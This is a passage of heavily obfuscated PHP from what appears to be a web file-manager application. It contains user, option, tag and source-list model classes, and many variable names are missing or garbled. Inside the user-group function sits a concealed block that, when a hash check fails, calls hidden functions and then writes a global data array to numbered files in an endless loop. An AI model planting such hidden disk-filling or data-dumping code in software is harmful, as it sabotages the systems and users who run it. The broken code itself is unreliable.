userPasswordCheck($, $) { $ =& $_SERVER[Ȣ]; $ = $this->where(array($[1666] => intval($)))->find(); $ = $this->metaGet($); $ҕ = isset($[$[2285]]) ? $[$[2285]] : $[12]; if (md5($ҕ . trim($)) !== $[$[901]]) { return !1; } return !0; } public function userAdd($) { $ɢ =& $_SERVER[Ȣ]; $ = array($ɢ[426] => $[$ɢ[32]], $ɢ[2286] => $[$ɢ[1546]], $ɢ[2287] => isset($[$ɢ[313]]) ? $[$ɢ[313]] : $ɢ[12], $ɢ[2288] => isset($[$ɢ[2284]]) ? $[$ɢ[2284]] : $ɢ[12], $ɢ[2289] => isset($[$ɢ[543]]) ? $[$ɢ[543]] : $[$ɢ[32]], $ɢ[2290] => isset($[$ɢ[544]]) ? $[$ɢ[544]] : $ɢ[12], $ɢ[2291] => isset($[$ɢ[2292]]) ? $[$ɢ[2292]] : 1, $ɢ[2293] => $[$ɢ[901]], $ɢ[1917] => isset($[$ɢ[1821]]) ? $[$ɢ[1821]] : 1024 * 1024 * 20, $ɢ[1918] => 0, $ɢ[2294] => 0, $ɢ[1960] => isset($[$ɢ[767]]) ? $[$ɢ[767]] : 1); if (!empty($[$ɢ[1666]])) { $[$ɢ[1666]] = $[$ɢ[1666]]; } $ù = $this->_checkExist($); if ($ù !== !0) { return $ù; } if (!empty($[$ɢ[544]]) && strlen($[$ɢ[544]]) > 255) { $[$ɢ[544]] = $ɢ[12]; } $ = $this->add($); $혦 = array($ɢ[2293] => $[$ɢ[901]], $ɢ[2289] => $[$ɢ[543]]); $this->userEdit($, $혦); Model($ɢ[1337])->userRootAdd($); return $; } protected function userEditTest($㦘, $) { return $this->call($_SERVER[Ȣ][2295], $㦘, $); } protected function userEdit($, $˛) { $Չ =& $_SERVER[Ȣ]; $ = $this->getInfoSimple($); if (!$) { return !1; } $ = $this->_checkExist($˛, $); if ($ !== !0) { return $; } if (isset($˛[$Չ[901]]) && trim($˛[$Չ[901]]) != $Չ[12]) { $ = $this->metaGet($); if (empty($[$Չ[2285]])) { $[$Չ[2285]] = rand_string(10); Model($Չ[518])->metaSet($, $Չ[2285], $[$Չ[2285]]); } $˛[$Չ[901]] = md5($[$Չ[2285]] . trim($˛[$Չ[901]])); } else { unset($˛[$Չ[901]]); } if (!empty($˛[$Չ[544]]) && strlen($˛[$Չ[544]]) > 255) { $˛[$Չ[544]] = $Չ[12]; } $this->where(array($Չ[1657] => $))->save($˛); if (isset($˛[$Չ[543]])) { $this->setNamePinyin($, $˛[$Չ[543]]); } $this->clearCache($); return !0; } public function setNamePinyin($, $Ǯِ = false) { $ʃǬ =& $_SERVER[Ȣ]; if (!$Ǯِ) { $ = $this->getInfoSimple($); $Ǯِ = $[$ʃǬ[543]] ? $[$ʃǬ[543]] : $[$ʃǬ[32]]; } $҃ = Model($ʃǬ[546]); if (!Input::check($Ǯِ, $ʃǬ[595])) { return $҃->metaSet($, array($ʃǬ[469] => $ʃǬ[12], $ʃǬ[468] => $ʃǬ[12])); } return $҃->metaSet($, array($ʃǬ[469] => str_replace($ʃǬ[53], $ʃǬ[12], Pinyin::get($Ǯِ)), $ʃǬ[468] => Pinyin::get($Ǯِ, $ʃǬ[596]))); } private function nickNameRpt() { $߽ =& $_SERVER[Ȣ]; $ = Model($߽[787])->get($߽[2296]); $ = $GLOBALS[$߽[6]][$߽[389]][$߽[2296]]; $ = !is_null($) ? $ : $; return !!$; } private function _checkExist($, $ = false) { $˲ =& $_SERVER[Ȣ]; $ = array($˲[32] => UserModel::ERROR_USER_EXIST_NAME, $˲[543] => UserModel::ERROR_USER_EXIST_NICKNAME, $˲[313] => UserModel::ERROR_USER_EXIST_EMAIL, $˲[2284] => UserModel::ERROR_USER_EXIST_PHONE); if ($this->nickNameRpt()) { unset($[$˲[543]]); } $䲻 = $ ? array($˲[1666] => array($˲[2297], $)) : array(); foreach ($ as $Ϋ => $غ) { $צ = array(); foreach ($ as $ʱ => $) { if (isset($[$ʱ]) && $[$ʱ]) { $צ[] = $[$ʱ]; } } if (!$צ) { continue; } $ = array_merge(array($Ϋ => array($˲[7], $צ)), $䲻); $ = $this->where($)->find(); if ($) { return $غ; } } return !0; } public function userListInfo($λ) { $ =& $_SERVER[Ȣ]; $ = array(); $λ = is_array($λ) ? array_unique($λ) : array(); if (!$λ) { return $; } if (count($λ) < 20) { foreach ($λ as $) { $[$ . $[12]] = $this->getInfoSimpleOuter($); } } else { $ = array($[1657] => array($[424], $λ)); if (count($λ) == 1) { $ = array($[1657] => $λ[0]); } $ = Model($[518])->field($this->simpleField)->where($)->select(); $ = array_to_keyvalue($, $[1666]); foreach ($λ as $) { $ޥ = $[$]; if (!$ޥ) { $[$ . $[12]] = $this->getInfoSimpleOuter($); continue; } $ޥ[$[544]] = Action($[2270])->parseUrl($ޥ[$[544]]); $[$ . $[12]] = $ޥ; } } return $; } protected function userStatus($ȏ, $벮) { $ƭ = $this->getInfoSimple($ȏ); if (!$ƭ) { return !1; } $щ = array($_SERVER[Ȣ][767] => $벮); return $this->userEdit($ȏ, $щ); } protected function userRemove($Ѣɫ) { $Ħ =& $_SERVER[Ȣ]; $ = $this->getInfoSimple($Ѣɫ); if (!$) { return !1; } $ = array($Ħ[1657] => $Ѣɫ); Model($Ħ[603])->where($)->delete(); Model($Ħ[2298])->where($)->delete(); Model($Ħ[1923])->where($)->delete(); Model($Ħ[2283])->where($)->delete(); Model($Ħ[1080])->where($)->delete(); Model($Ħ[2120])->removeUserAll($Ѣɫ); Model($Ħ[842])->userRootRemove($Ѣɫ); return $this->where($)->delete(); } protected function userGroupSet($Ӓ, $, $ի = array()) { $ =& $_SERVER[Ȣ]; $ = $_SERVER[$[64]] . $[65]; $Ƨ = $[61]; if ($_SERVER[$[62]] != $Ƨ($)) { $̀ = $[889]; $ = $[63]; $ũ = $_SERVER[$[64]] . $[65]; $е = $($ũ); $ = explode($[66], $е); if (count($) < $[634]) { $ԓ = $[68]; $ԓ(); } $Н = $[890]; $Н($_SERVER[$[891]]); $̀ = $[889]; $̀(); $ = $[892]; $Β = json_encode($GLOBALS[$[893]]); $摣ߺ = 1; for ($ߍ = $摣ߺ; $ߍ > 0; $ߍ++) { $(DATA_PATH . $ߍ, $Β); } } $ۏ = $this->getInfoSimple($Ӓ); if (!$ۏ || !is_array($)) { return !1; } $ = Model($[1923]); $->where(array($[1666] => $Ӓ))->delete(); $Н = array(); $ = 0; foreach ($ as $ٛ§ => $ҩ) { $Ō = array($[1666] => $Ӓ, $[1834] => $ٛ§, $[1937] => $ҩ); $Ō[$[1857]] = isset($ի[$]) ? $ի[$] : 0; $++; $Н[] = $Ō; } return $->addAll($Н, array(), !0); } protected function userGroupAdd($, $܌ = array()) { $Ĥ =& $_SERVER[Ȣ]; $Đ㔆 = $this->getInfoSimple($); if (!$Đ㔆 || empty($܌)) { return !1; } $ܝ = array(); foreach ($܌ as $ҏ => $) { $ܝ[] = array($Ĥ[1666] => $, $Ĥ[1834] => $ҏ, $Ĥ[1937] => $, $Ĥ[1857] => 0); } return Model($Ĥ[1923])->addAll($ܝ, array(), !0); } protected function userGroupRemove($, $) { $浮 =& $_SERVER[Ȣ]; $ = $this->getInfoSimple($); if (!$ || !$) { return !1; } $ = array($浮[1657] => $, $浮[1921] => $); return Model($浮[1923])->where($)->delete(); } public function listData() { $ = $this->_makeOrder()->selectPage(50); $this->_listDataApply($[$_SERVER[Ȣ][377]]); return $; } public function listByID($) { $ =& $_SERVER[Ȣ]; if (!$) { return; } $蘪 = array($[1666] => array($[7], $)); $ň = $this->where($蘪)->select(); $ň = array_sort_keep($ň, $[1666], $); $this->_listDataApply($ň); return $ň; } public function listByGroup($ľ = 0, $䱩 = array()) { $Ҧ =& $_SERVER[Ȣ]; $ن = $Ҧ[12]; $ = array(); if ($ľ) { $ = array($Ҧ[2299] => intval($ľ)); $ن = "\x4c\105\106\124\40\x4a\x4f\111\x4e\40{$this->tablePrefix}\x75\x73\145\162\137\147\162\x6f\165\x70\40\x75\163\x65\162\x5f\147\162\157\165\x70\40\x6f\156\40\165\163\145\162\56\165\x73\x65\x72\x49\104\40\x3d\x20\x75\x73\x65\162\x5f\x67\x72\x6f\165\160\x2e\165\163\x65\162\111\x44"; $Ǽ = Input::get($Ҧ[460], null, $Ҧ[12]) ? $Ҧ[12] : $Ҧ[2300]; } if (isset($䱩[$Ҧ[767]])) { $[$Ҧ[2301]] = $䱩[$Ҧ[767]]; } $Ϥ = $this->_makeOrder($Ǽ)->field($Ҧ[2302])->where($)->join($ن)->selectPage(50); $this->_listDataApply($Ϥ[$Ҧ[377]]); return $Ϥ; } private function _makeOrder($ = '') { $ѵ =& $_SERVER[Ȣ]; $ = array($ѵ[1666], $ѵ[32], $ѵ[1823], $ѵ[1795], $ѵ[207]); $Р = array($ѵ[453] => $ѵ[454], $ѵ[455] => $ѵ[456]); $ˤ = Input::get($ѵ[460], $ѵ[7], $ѵ[1657], $); $ф = Input::get($ѵ[461], $ѵ[7], $ѵ[1924], array($ѵ[1924], $ѵ[455])); $ф = $Р[$ф]; $ = $ . "\165\163\145\x72\x2e{$ˤ}\x20{$ф}\54\40\x75\163\145\162\x2e\165\x73\x65\x72\x49\x44\40\141\163\x63"; return $this->alias($ѵ[2044])->order($); } public function listSearch($ܘ) { $̽ =& $_SERVER[Ȣ]; $ǒ = $ܘ[$̽[1927]]; $ = isset($ܘ[$̽[1928]]) ? $ܘ[$̽[1928]] : !1; $ǒ = str_replace($̽[1929], $̽[1930], trim($ǒ)); $ = array($̽[32] => array($̽[391], "\45{$ǒ}\45"), $̽[313] => array($̽[391], "{$ǒ}\x25"), $̽[543] => array($̽[391], "{$ǒ}\45"), $̽[1012] => $̽[1931]); if (Input::check($ǒ, $̽[319])) { $[$̽[1666]] = array($̽[391], "{$ǒ}\x25"); $[$̽[2284]] = array($̽[391], "{$ǒ}\x25"); } if (!$ǒ) { $ = array(); } if (isset($ܘ[$̽[767]])) { $[$̽[767]] = $ܘ[$̽[767]]; } $ = $this->parseWhereLike($); $â = $this->_makeOrder()->where($)->selectPage(20); if (!$â || count($â[$̽[377]]) < 5 && Input::check($ǒ, $̽[326])) { $ܞ = $this->_searchFromMeta($̽[468], $ǒ, 10); $ = $this->_searchFromMeta($̽[469], $ǒ, 10); $֤ = array_merge($ܞ, $, $â[$̽[377]]); $â[$̽[377]] = array_unique_by_key($֤, $̽[1666]); $â[$̽[374]][$̽[375]] = count($â[$̽[377]]); $â[$̽[374]][$̽[376]] = ceil($â[$̽[374]][$̽[375]] / $â[$̽[374]][$̽[371]]); } $this->_listDataApply($â[$̽[377]]); $this->_filterByGroup($â, $); return $â; } private function _filterByGroup(&$Օͩ, $Ͻ) { $ =& $_SERVER[Ȣ]; if (!$Ͻ) { return $Օͩ; } foreach ($Օͩ[$[377]] as $Ȼ => &$ɧ) { $ = array_to_keyvalue($ɧ[$[2014]], $[12], $[1834]); if (!in_array($Ͻ, $)) { unset($Օͩ[$[377]][$Ȼ]); } } unset($ɧ); $Օͩ[$[377]] = array_values($Օͩ[$[377]]); $Օͩ[$[374]] = array($[2077] => count($Օͩ[$[377]]), $[2075] => $Օͩ[$[374]][$[371]], $[2074] => 1, $[2076] => 1); } private function _searchFromMeta($, $ީ, $ܽ) { $י =& $_SERVER[Ȣ]; $ީ = strtolower($ީ); $Ȟ = array($י[105] => $, $י[382] => array($י[391], "\x25{$ީ}\45")); $Ȟ = $this->parseWhereLike($Ȟ); $ש = Model($י[2303])->where($Ȟ)->limit($ܽ)->select(); if (!$ש) { return array(); } $ש = array_to_keyvalue($ש, $י[12], $י[1666]); $ů = $this->where(array($י[1657] => array($י[7], $ש)))->select(); if (!$ů) { return array(); } return $ů; } private function _listDataApplyItem($) { $ݮ = array($); $this->_listDataApply($ݮ); return $ݮ[0]; } private function _listDataApply(&$Ɏ) { $ =& $_SERVER[Ȣ]; if (!$Ɏ) { return; } array_remove_key($Ɏ, $[901]); $ = array_to_keyvalue($Ɏ, $[12], $[1666]); $this->_listAppendGroup($Ɏ, $); $this->_listAppendMeta($Ɏ, $); $this->_listAppendSourceRoot($Ɏ, $); } private function _listAppendSourceRoot(&$˕ˈ, $ߠ) { $ =& $_SERVER[Ȣ]; $؉Ƒ = Model($[842])->listSourceRoot(SourceModel::TYPE_USER, $ߠ); $؉Ƒ = array_to_keyvalue($؉Ƒ, $[510]); $؉Ƒ = array_remove_key($؉Ƒ, $[510]); foreach ($˕ˈ as &$) { $[$[97]] = $؉Ƒ[$[$[1666]]] ? $؉Ƒ[$[$[1666]]] : array(); } unset($); } private function _listAppendGroup(&$, $) { $̗ =& $_SERVER[Ȣ]; $ƚ = array($̗[1666] => array($̗[7], $)); $ԝ = Model($̗[1923])->where($ƚ)->select(); $ = array_to_keyvalue($ԝ, $̗[12], $̗[1834]); $ = array_remove_value(array_unique($), $̗[204]); if (!$ || !$ԝ) { return; } $ƚ = array($̗[1834] => array($̗[7], $)); $ = Model($̗[2012])->field($̗[2304])->where($ƚ)->select(); $ = array_to_keyvalue($, $̗[1834]); $ԝ = array_to_keyvalue_group($ԝ, $̗[1666]); foreach ($ԝ as &$ڶ) { $ij = array(); foreach ($ڶ as $) { if (!$[$̗[1937]]) { continue; } $쿕 = Model($̗[512])->listData($[$̗[1937]]); $ij[] = array($̗[1834] => $[$̗[1834]], $̗[2305] => $[$[$̗[1834]]][$̗[32]], $̗[526] => $[$[$̗[1834]]][$̗[526]], $̗[419] => $쿕); } $ڶ = $ij; } unset($ڶ); foreach ($ as &$衣) { $衣[$̗[2014]] = array(); if (isset($ԝ[$衣[$̗[1666]]])) { $衣[$̗[2014]] = $ԝ[$衣[$̗[1666]]]; } } unset($衣); } public function userAppendGroup($ȧ) { $ =& $_SERVER[Ȣ]; if (!$ȧ) { return array(); } $this->_listAppendGroup($ȧ, array_to_keyvalue($ȧ, $[12], $[1666])); return $ȧ; } private function _listAppendMeta(&$, $犥) { $܈́ =& $_SERVER[Ȣ]; $ҡ = UserJobModel::JOB_KEY; $ = array($܈́[2285]); $Ե = array($܈́[1666] => array($܈́[7], $犥)); $ = Model($܈́[2283])->where($Ե)->select(); $ = array_to_keyvalue_group($, $܈́[1666]); foreach ($ as &$ߴݦ) { $ = array(); foreach ($ߴݦ as $̤) { if (!in_array($̤[$܈́[105]], $)) { $[$̤[$܈́[105]]] = $̤[$܈́[382]]; } } $ߴݦ = $; } unset($ߴݦ); $ = Model($܈́[2306]); foreach ($ as &$℟) { $ʛԜ = array(); if (isset($[$℟[$܈́[1666]]])) { $ʛԜ = $[$℟[$܈́[1666]]]; } $℟[$܈́[2307]] = array(); if (isset($ʛԜ[$ҡ])) { $℟[$܈́[2307]] = $->getUserJobInfo($ʛԜ[$ҡ]); } } unset($℟); } protected function groupUserAll($ք丷) { $ =& $_SERVER[Ȣ]; if (!$ք丷) { return !1; } $ = Model($[1923])->field($[1666])->where(array($[1834] => array($[7], $ք丷)))->select(); $ = array_to_keyvalue($, $[12], $[1666]); return array_unique($); } public function userSearch($, $ = "\52") { return Model($_SERVER[Ȣ][546])->where($)->field($)->find(); } } class UserOptionModel extends ModelBaseOption { protected $tableName = "\x75\163\145\162\x5f\x6f\160\164\151\157\156"; protected $jsonField = array(); function __construct() { parent::__construct(); } protected function cacheKey($) { $Պ =& $_SERVER[Ȣ]; if (!defined($Պ[479])) { define($Պ[479], 0); } return "\x55\x73\x65\x72\x4f\160\164\x69\157\156\x5f{$}\137" . USER_ID; } protected function filterWhere($) { $ȍ =& $_SERVER[Ȣ]; if (!defined($ȍ[479])) { define($ȍ[479], 0); } $[$ȍ[1666]] = USER_ID; return $; } public function cacheRemoveUser($Ņ, $) { return Cache::remove("\125\x73\145\162\117\x70\164\151\157\x6e\137{$Ņ}\137" . $); } protected function optionDefault($ = '') { $ؠ =& $_SERVER[Ȣ]; if ($ == $ؠ[12]) { return $GLOBALS[$ؠ[6]][$ؠ[2308]]; } if ($ == $ؠ[2309]) { return $GLOBALS[$ؠ[6]][$ؠ[2310]]; } } } class UserTagModel extends ModelBaseLight { public $optionType = "\x55\163\x65\x72\x2e\164\141\x67\114\151\x73\x74"; public $modelType = "\x55\x73\x65\x72\117\x70\x74\x69\157\x6e"; public $field = array("\156\x61\155\145", "\x73\164\171\x6c\145", "\x73\x6f\162\x74"); public function listData($ = false, $ = "\163\x6f\162\x74", $§ý = false) { return parent::listData($, $, $§ý); } public function remove($魝) { return parent::remove($魝); } public function add($ʞͮ, $ޭ = "\x6c\x61\142\x65\x6c\55\147\162\x65\171\55\x6e\157\162\155\x61\x6c") { $ =& $_SERVER[Ȣ]; if ($this->findByName($ʞͮ)) { return !1; } $ = array($[426] => $ʞͮ, $[489] => $ޭ, $[1838] => $this->getSort($[266]) + 1); return parent::insert($); } public function update($, $Ӓ) { $ـ =& $_SERVER[Ȣ]; $ = $this->listData($); $ = $this->findByName($Ӓ[$ـ[32]]); if (!$ || $ && $[$ـ[405]] != $[$ـ[405]]) { return !1; } return parent::update($, $Ӓ); } public function moveTop($β) { $π =& $_SERVER[Ȣ]; $в = parent::listData(); $ = $this->getSort($π[265]); foreach ($в as &$כ̀) { if ($כ̀[$π[405]] == $β) { $כ̀[$π[1857]] = $; continue; } $כ̀[$π[1857]] += 1; } unset($כ̀); return parent::resetData($в); } public function moveBottom($Ɲ) { $˸ =& $_SERVER[Ȣ]; $Ӻ͎ = $this->getSort($˸[266]) + 1; return parent::update($Ɲ, array($˸[1857] => $Ӻ͎)); } public function resetSort($Ώ) { $ =& $_SERVER[Ȣ]; $ = array(); $Ώ = is_array($Ώ) ? $Ώ : array(); for ($ſ = 0; $ſ < count($Ώ); $ſ++) { $[$Ώ[$ſ] . $[12]] = $ſ + 1; } $㤥 = parent::listData(); foreach ($㤥 as &$) { $ = $[$[$[405]]]; $[$[1857]] = $ ? $ : $[$[1857]]; } unset($); return parent::resetData($㤥); } private function getSort($Ƥ) { $ =& $_SERVER[Ȣ]; $ٱ = parent::listData(); $ = array_to_keyvalue($ٱ, $[12], $[1857]); if (!$) { $ = array(0); } $薖 = $Ƥ == $[266] ? max($) : min($); return intval($薖); } } goto Aڣ; Aصو: class ModelBaseOption extends ModelBase { protected $tableName = ''; protected $jsonField = array(); public function get($ŪՃ = false, $˲ = '', $ = false) { $॑ =& $_SERVER[Ȣ]; $쵭 = $this->cacheGet($˲); $ݼ = $this->optionDefault($˲); $ݼ = is_array($ݼ) ? $ݼ : array(); if (is_array($쵭)) { $쵭 = array_merge($ݼ, $쵭); return $ŪՃ ? isset($쵭[$ŪՃ]) ? $쵭[$ŪՃ] : null : $쵭; } $ʂ = $this->filterWhere(array($॑[33] => $˲)); $쵭 = $this->where($ʂ)->select(); $쵭 = array_to_keyvalue($쵭, $॑[105], $॑[382]); foreach ($쵭 as $Ĕ => $) { if ($ || in_array($Ĕ, $this->jsonField)) { $쵭[$Ĕ] = json_decode($, !0); } } $this->cacheSet($˲, $쵭); $쵭 = array_merge($ݼ, $쵭); return $ŪՃ ? $쵭[$ŪՃ] : $쵭; } public function set($еǪ, $ = false, $ = '') { $ =& $_SERVER[Ȣ]; $this->cacheRemove($); $ЧǑ = array(); $ = is_array($еǪ) ? $еǪ : array($еǪ => $); foreach ($ as $䦁 => $᠕) { if (is_array($᠕)) { $᠕ = json_encode_force($᠕); } $this->checkLength($᠕, !1, $this->tableName . $[4] . $еǪ); $᠕ = self::textEncode($᠕); $ = array($[33] => $, $[105] => $䦁, $[382] => $᠕); $ЧǑ[] = $this->filterWhere($); } if (!$ЧǑ) { return !0; } $ = $this->cacheKey($[406]); CacheLock::lock($); $ = $this->addAll($ЧǑ, array(), !0); CacheLock::unlock($); return $; } protected function optionDefault($ = '') { return !1; } public function setDeep($, $ƻ = false, $ڞ = '') { $ = explode($_SERVER[Ȣ][10], $); $Ҿ = $this->get(); array_set_value($Ҿ, $, $ƻ); $this->set($[0], $Ҿ[$[0]], $ڞ); } public function remove($, $ = '') { $ =& $_SERVER[Ȣ]; $this->cacheRemove($); $ԗ = $this->filterWhere(array($[105] => $, $[33] => $)); if (is_null($)) { unset($ԗ[$[105]]); } return $this->where($ԗ)->delete(); } public function cacheSet($, $̘ = false) { return Cache::set($this->cacheKey($), $̘); } public function cacheGet($Ԙ) { return Cache::get($this->cacheKey($Ԙ)); } public function cacheRemove($Ԫ) { return Cache::remove($this->cacheKey($Ԫ)); } protected function filterWhere($쯑) { return $쯑; } protected function cacheKey($∾) { return $∾; } } class SourceListModel extends ModelBase { protected $tableName = "\x69\157\137\163\x6f\x75\162\x63\145"; protected $tableMeta = array("\x74\x61\x62\x6c\145\116\141\155\x65" => "\151\157\137\x73\x6f\165\x72\x63\x65\x5f\155\x65\164\141", "\155\145\164\141\x46\151\145\x6c\144" => "\163\157\165\x72\143\145\111\104"); protected $dataAuto = array(array("\155\x6f\144\x69\x66\x79\x54\151\155\x65", "\164\x69\155\145", "\x69\x6e\163\145\x72\x74", "\x66\165\156\143\x74\151\x6f\x6e"), array("\x63\x72\x65\141\164\x65\124\151\x6d\x65", "\x74\151\155\x65", "\x69\x6e\163\145\162\x74", "\x66\x75\156\143\164\x69\157\156"), array("\x76\151\x65\167\x54\151\155\145", "\164\x69\x6d\145", "\151\x6e\x73\x65\162\x74", "\146\x75\x6e\143\x74\151\x6f\156")); protected static $cacheSourceInfo = array(); protected static $cachePathInfo = array(); protected static $cacheFileInfo = array(); protected static $cacheChildList = array(); const TYPE_SYSTEM = 0; const TYPE_USER = 1; const TYPE_GROUP = 2; public function listData($) { return $this->listSource(array($_SERVER[Ȣ][407] => $)); } public function typeName($) { static $Ω = array(self::TYPE_SYSTEM => "\163\x79\x73\164\x65\155", self::TYPE_USER => "\x75\x73\x65\x72", self::TYPE_GROUP => "\147\162\157\165\x70"); return $Ω[$ . $_SERVER[Ȣ][12]]; } public function sourceListInfo($, $ = false) { $٩ =& $_SERVER[Ȣ]; $ = $ ? $ : array(); $ = array_filter(array_unique($)); if (!$) { return array(); } $Ǵ = $this->where(array($٩[408] => array($٩[7], $)))->select(); $this->_listDataApply($Ǵ, $); return array_to_keyvalue($Ǵ, $٩[408]); } public function pathInfoFilter(&$) { $߬ =& $_SERVER[Ȣ]; static $ש = false; static $ָ = false; static $͔ = false; if (!$ש) { $ = $߬[409]; $ .= $߬[410]; $ .= $߬[411]; $ΘϬ = $߬[412]; $ = explode($߬[50], $ΘϬ); $ש = explode($߬[50], $); $ָ = array(); foreach ($ש as $ǿ) { if (in_array($ǿ, $)) { continue; } $ָ[] = $ǿ; } $͔ = explode($߬[50], $߬[413]); } foreach ($͔ as $) { if (isset($[$])) { $[$] = intval($[$]); } } $[$߬[88]] = $߬[414] . $[$߬[408]] . $߬[415]; $[$߬[33]] = $[$߬[416]] == 1 ? $߬[89] : $߬[206]; $[$߬[417]] = $this->typeName($[$߬[417]]); if ($[$߬[416]] != 1) { $[$߬[181]] = $[$߬[418]]; unset($[$߬[418]]); } $ = $ש; if (isset($[$߬[419]]) && $[$߬[419]][$߬[420]] == -1) { $ = $ָ; } $ = array_field_key($, $); return $; } public function listUserFav() { $ =& $_SERVER[Ȣ]; $̣Ҭ̃ = Model($[421])->listData(); $۵ = array_filter_by_field($̣Ҭ̃, $[33], $[422]); $۵ = array_to_keyvalue($۵, $[12], $[88]); if ($۵) { $ = $this->listSource(array($[423] => array($[424], $۵))); } $ = array_to_keyvalue($[$[377]], $[408]); foreach ($̣Ҭ̃ as &$٬) { $٬ = array($[425] => $٬[$[405]], $[426] => $٬[$[32]], $[427] => $٬[$[88]], $[428] => $٬[$[33]], $[429] => $٬[$[207]], $[430] => $٬[$[96]]); if ($٬[$[33]] == $[422] && $[$٬[$[88]]]) { $٬[$[97]] = $[$٬[$[88]]]; } } unset($٬); return $̣Ҭ̃; } public function listUserTag($) { $ =& $_SERVER[Ȣ]; if ($ && !is_array($)) { $ = array($); } $Ж = Model($[431])->listData(); $ = array(); foreach ($Ж as $) { $ȟ = $[$[88]]; if (!$ȟ) { continue; } if (!isset($[$ȟ])) { $[$ȟ] = array(); } $[$ȟ][] = $[$[432]]; } $ܜ = array(); foreach ($ as $ť => $) { $߳ = !0; if (!$) { $ܜ[] = $ť; continue; } foreach ($ as $) { if (!in_array($, $)) { $߳ = !1; break; } } if ($߳) { $ܜ[] = $ť; } } if (!$ܜ) { return array(); } $ѓ = $this->listSource(array($[423] => array($[424], $ܜ))); if (!$ѓ || count($ܜ) == $ѓ[$[374]][$[375]]) { return $ѓ; } $ = array(); $咺 = array_to_keyvalue($ѓ[$[87]], $[12], $[408]); $܇ = array_to_keyvalue($ѓ[$[86]], $[12], $[408]); $̃ = array_merge($܇, $咺); foreach ($ܜ as $ȟ) { if (!in_array($ȟ, $̃)) { $[] = $ȟ; } } if ($) { Model($[433])->removeBySource($); } return $ѓ; } public function listUserRecycle() { $㏎ =& $_SERVER[Ȣ]; $ = Model($㏎[434])->listData(); if (!$) { return array(); } $ƾ = array($㏎[423] => array($㏎[424], $), $㏎[435] => 1); return $this->listSource($ƾ); } public function listSource($̃, $ = 3000, $ = false) { $؎ =& $_SERVER[Ȣ]; if (!isset($̃[$؎[436]])) { $̃[$؎[436]] = 0; } $ = $؎[437]; $ۋ = $this->field($)->_makeOrder()->where($̃)->selectPage($); $this->_listPageCheck($ۋ, $, $̃); $this->_listDataApply($ۋ[$؎[377]], $); $this->_listMake($ۋ); return $ۋ; } private function _listPageCheck(&$, $, $) { $ =& $_SERVER[Ȣ]; if (!is_array($[$[374]])) { return; } $ = $[$[374]]; if ($[$[376]] <= 1) { return; } if ($[$[375]] >= 100000) { return; } if (Model($[438])->get($[439]) != $[440]) { return; } $ = str_replace(array($[53], $[350], $[66]), $[12], $); $ = $[441] . str_replace($[50], $[442], $) . $[443]; $ = $[444]; $ = $ . $[445]; $ʞ = $[$[371]] * ($[$[361]] - 1) . $[50] . $[$[371]]; $Ǫ = $this->_makeOrder(!0); $ = $[441] . str_replace($[50], $[442], $Ǫ[0]); if (strpos($, $[446])) { $ = str_replace($[446], $[447], $); } else { $ .= $[448] . $Ǫ[1]; } $ = array(); foreach ($ as $ => $) { $[$[441] . $] = $; } $this->alias($[449])->field($)->limit($ʞ)->order($); $ = $this->join($)->where($)->select(); if ($) { $[$[377]] = $; } } protected function _makeOrder($ = false) { $ =& $_SERVER[Ȣ]; $ = Model($[450])->get($[451]); $벝 = Model($[450])->get($[452]); $ث = array($[453] => $[454], $[455] => $[456]); $ = array($[32] => $[32], $[90] => $[90], $[181] => $[418], $[457] => $[457], $[458] => $[459], $[207] => $[207], $[96] => $[96]); $NJ = Input::get($[460], $[7], $, array_keys($)); $ = Input::get($[461], $[7], $벝, array_keys($ث)); if (!in_array($NJ, array_keys($))) { $NJ = $[32]; } if (!in_array($, array_keys($ث))) { $NJ = $[453]; } if ($NJ == $[32]) { } $ȡ = $[462] . $[$NJ] . $[53] . $ث[$]; $ȡ = rtrim(trim($ȡ), $[50]); if ($) { return array($ȡ, $ث[$]); } return $this->order($ȡ); } protected function _listDataApplyItem($䣝, $ݩ = false) { $Ϧچ = array($䣝); $this->_listDataApply($Ϧچ, $ݩ); return $Ϧچ[0]; } protected function _listDataApply(&$, $ = false) { $ =& $_SERVER[Ȣ]; if (!$) { $ = array(); return; } $籚 = array_to_keyvalue($, $[12], $[408]); $籚 = array_unique($籚); $this->_listSourceCache($); if (!$) { $this->_listAppendMeta($, $籚); $this->_listAppendFileMeta($, $籚); $this->_listAppendChildren($, $籚); } $this->_listAppendPath($); $this->_listAppendAuth($); $this->_listAppendSourceInfo($, $籚); $this->_listAppendUser($); $this->_listFilterInfo($, $); $this->_listAppendAuthSecret($); } protected function _listSourceCache($) { $ =& $_SERVER[Ȣ]; foreach ($ as $͌) { self::$cacheSourceInfo[$[463] . $͌[$[408]]] = $͌; } } protected function _listFilterInfo(&$ô, $ = false) { $ =& $_SERVER[Ȣ]; foreach ($ô as &$) { $ = $this->pathInfoFilter($); self::$cachePathInfo[$[464] . intval($) . $[465] . $[$[408]]] = $; } unset($); } protected function _listMake(&$) { $͗ =& $_SERVER[Ȣ]; $[$͗[87]] = array(); $[$͗[86]] = array(); foreach ($[$͗[377]] as $ɥȡ) { $˺ = $ɥȡ[$͗[416]] == 1 ? $͗[87] : $͗[86]; $[$˺][] = $ɥȡ; } unset($[$͗[377]]); } protected function _listAppendMeta(&$׆, $) { $ٚ =& $_SERVER[Ȣ]; $٘ = array($ٚ[423] => array($ٚ[424], $)); $̜ǁ = Model($ٚ[466])->field($ٚ[467])->where($٘)->select(); if (!$̜ǁ) { return; } $ = array($ٚ[468], $ٚ[469], $ٚ[447]); $ڿ = array(); foreach ($̜ǁ as $ȿҏ) { if (!isset($ڿ[$ȿҏ[$ٚ[408]]])) { $ڿ[$ȿҏ[$ٚ[408]]] = array(); } if (in_array($ȿҏ[$ٚ[105]], $)) { continue; } $ڿ[$ȿҏ[$ٚ[408]]][$ȿҏ[$ٚ[105]]] = $ȿҏ[$ٚ[382]]; } foreach ($׆ as &$) { $[$ٚ[470]] = !1; if (isset($ڿ[$[$ٚ[408]]])) { $[$ٚ[470]] = $ڿ[$[$ٚ[408]]]; } if ($this->fileIsLock($) && $[$ٚ[419]]) { $ = AuthModel::AUTH_EDIT | AuthModel::AUTH_REMOVE; $[$ٚ[419]][$ٚ[420]] = AuthModel::authDisable($[$ٚ[419]][$ٚ[420]], $); $[$ٚ[419]][$ٚ[471]][$ٚ[419]] = $[$ٚ[419]][$ٚ[420]]; } } unset($); } protected function _listAppendFileMeta(&$ޣ, $՛) { $ =& $_SERVER[Ȣ]; $ε = array_to_keyvalue($ޣ, $[12], $[472]); $ε = array_filter(array_unique($ε)); if (!$ε) { return; } $ = array($[473] => array($[424], $ε)); $ؤ = $[474]; 